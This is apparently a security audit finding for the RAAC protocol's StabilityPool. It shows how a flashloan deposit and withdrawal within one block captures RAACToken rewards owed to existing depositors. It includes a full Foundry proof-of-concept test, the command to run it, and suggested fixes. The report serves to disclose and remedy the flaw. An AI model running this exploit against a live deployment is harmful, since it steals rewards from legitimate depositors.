The problem is because the reward calculation is from the proportional amount of DEToken
user currently have, this can be attacked by using flashloan where the attacker deposit asset token into lending pool -> get rToken
-> deposit rToken
into stability pool -> get DEToken
-> withdraw all. This would result the current RAACToken reward goes into attacker address when the withdraw happen, effectively steal the reward without really contributing into the protocol system overall.
attacker then can payback the flashloan by withdrawing all rToken into asset token & paying flashloan fee by dumping RAACToken into asset token.
note: the amount of reward are inaccurate because of other issue in the RAACMinter contract where it calculate reward, the amount logged then would not accurate. but this test still explain how this attack carried.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/mocks/core/tokens/ERC20Mock.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
contract StabilityPoolTest is Test {
RToken public rToken;
DEToken public deToken;
RAACMinter public raacMinter;
RAACToken public raacToken;
DebtToken public debtToken;
ERC20Mock public assetToken;
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACNFT public raacNFT;
RAACHousePrices public raacHousePrices;
address owner = makeAddr("owner");
address victim = makeAddr("victim");
address victim2 = makeAddr("victim2");
address attacker = makeAddr("attacker");
address oracle = makeAddr("oracle");
address borrower = makeAddr("borrower");
uint256 swapTaxRate = 100;
uint256 burnTaxRate = 50;
uint256 startTime = 10 days;
function setUp() public {
vm.startPrank(owner);
vm.warp(startTime);
assetToken = new ERC20Mock("Asset Token", "ATKN");
rToken = new RToken("RToken", "RTKN", owner, address(assetToken));
deToken = new DEToken("DEToken", "DTKN", owner, address(assetToken));
debtToken = new DebtToken("DebtToken", "DTKN", owner);
raacToken = new RAACToken(owner, swapTaxRate, burnTaxRate);
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(assetToken), address(raacHousePrices), owner);
raacHousePrices.setOracle(oracle);
lendingPool = new LendingPool(address(assetToken), address(rToken), address(debtToken), address(raacNFT), address(raacHousePrices), 0.1e27);
address dummyPool = makeAddr("dummyPool");
raacMinter = new RAACMinter(address(raacToken), address(dummyPool), address(lendingPool), owner);
StabilityPool impl = new StabilityPool(owner);
TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
address(impl),
address(owner),
abi.encodeWithSignature("initialize(address,address,address,address,address,address)", address(rToken), address(deToken), address(raacToken), address(raacMinter), address(assetToken), address(lendingPool))
);
stabilityPool = StabilityPool(address(proxy));
raacMinter.setStabilityPool(address(stabilityPool));
deToken.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
vm.stopPrank();
vm.prank(oracle);
raacHousePrices.setHousePrice(0, 1000 ether);
}
function test_flashloanAttackToTakeRaacReward() public {
vm.warp(startTime + 10 days);
vm.roll(50);
uint256 depositAmount = 900 ether;
vm.startPrank(victim);
assetToken.mint(victim, depositAmount);
assetToken.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
vm.startPrank(victim2);
assetToken.mint(victim2, depositAmount);
assetToken.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
vm.startPrank(borrower);
assetToken.mint(borrower, 1000 ether);
assetToken.approve(address(raacNFT), 1000 ether);
raacNFT.mint(0, 1000 ether);
raacNFT.approve(address(lendingPool), 0);
lendingPool.depositNFT(0);
lendingPool.borrow(500 ether);
vm.stopPrank();
vm.startPrank(victim);
rToken.approve(address(stabilityPool), depositAmount);
stabilityPool.deposit(depositAmount);
vm.stopPrank();
vm.startPrank(victim2);
rToken.approve(address(stabilityPool), depositAmount);
stabilityPool.deposit(depositAmount);
vm.stopPrank();
assertEq(rToken.balanceOf(address(stabilityPool)), stabilityPool.getTotalDeposits());
assertEq(deToken.balanceOf(victim), depositAmount);
assertEq(deToken.balanceOf(victim2), depositAmount);
vm.warp(startTime + 30 days);
vm.roll(100);
raacMinter.updateEmissionRate();
uint256 stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
uint256 raacRewardVictim = stabilityPool.calculateRaacRewards(victim);
uint256 raacRewardVictim2 = stabilityPool.calculateRaacRewards(victim2);
console.log("raacRewardVictim: ", raacRewardVictim);
console.log("raacRewardVictim2: ", raacRewardVictim2);
uint256 flashloanAmount = 100000 ether;
vm.startPrank(attacker);
assetToken.mint(attacker, flashloanAmount);
assetToken.approve(address(lendingPool), flashloanAmount);
lendingPool.deposit(flashloanAmount);
rToken.approve(address(stabilityPool), flashloanAmount);
stabilityPool.deposit(flashloanAmount);
uint256 raacRewardAttacker = stabilityPool.calculateRaacRewards(attacker);
console.log("soon to be raacRewardAttacker: ", raacRewardAttacker);
stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("[*] reward just before attack:");
console.log("[*] stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
raacRewardVictim = stabilityPool.calculateRaacRewards(victim);
raacRewardVictim2 = stabilityPool.calculateRaacRewards(victim2);
console.log("[*] raacRewardVictim: ", raacRewardVictim);
console.log("[*] raacRewardVictim2: ", raacRewardVictim2);
stabilityPool.withdraw(flashloanAmount);
uint256 attackerRaacBalance = raacToken.balanceOf(attacker);
console.log("[**] actual attackerRaacReward after flashloan: ", attackerRaacBalance);
assertEq(attackerRaacBalance, raacRewardAttacker);
stabilityPoolBalanceRaac = raacToken.balanceOf(address(stabilityPool));
console.log("[**] reward after attack:");
console.log("[**] stabilityPoolBalanceRaac: ", stabilityPoolBalanceRaac);
lendingPool.withdraw(flashloanAmount);
vm.stopPrank();
assertApproxEqRel(assetToken.balanceOf(attacker), flashloanAmount, 1e15);
}
}
run the following command `forge t --mt test_flash -vv` and the result would pass, meaning the attacker successfully claim the reward using flashloan attack:
attacker can steal RAACToken reward accrued inside the stability pool, victim would lose potential rewards, and protocol gain nothing because this attack does not contribute into lending liquidity because all deposit and withdrawal is done in one block
when calculating the reward for user, consider to calculate when the deposit and the withdrawal happen and then divide it proportionally, so the long term depositor can gain benefit vs the short term depositor.
also add check if in the current block there are already deposit happen, and disable withdrawal on the current block.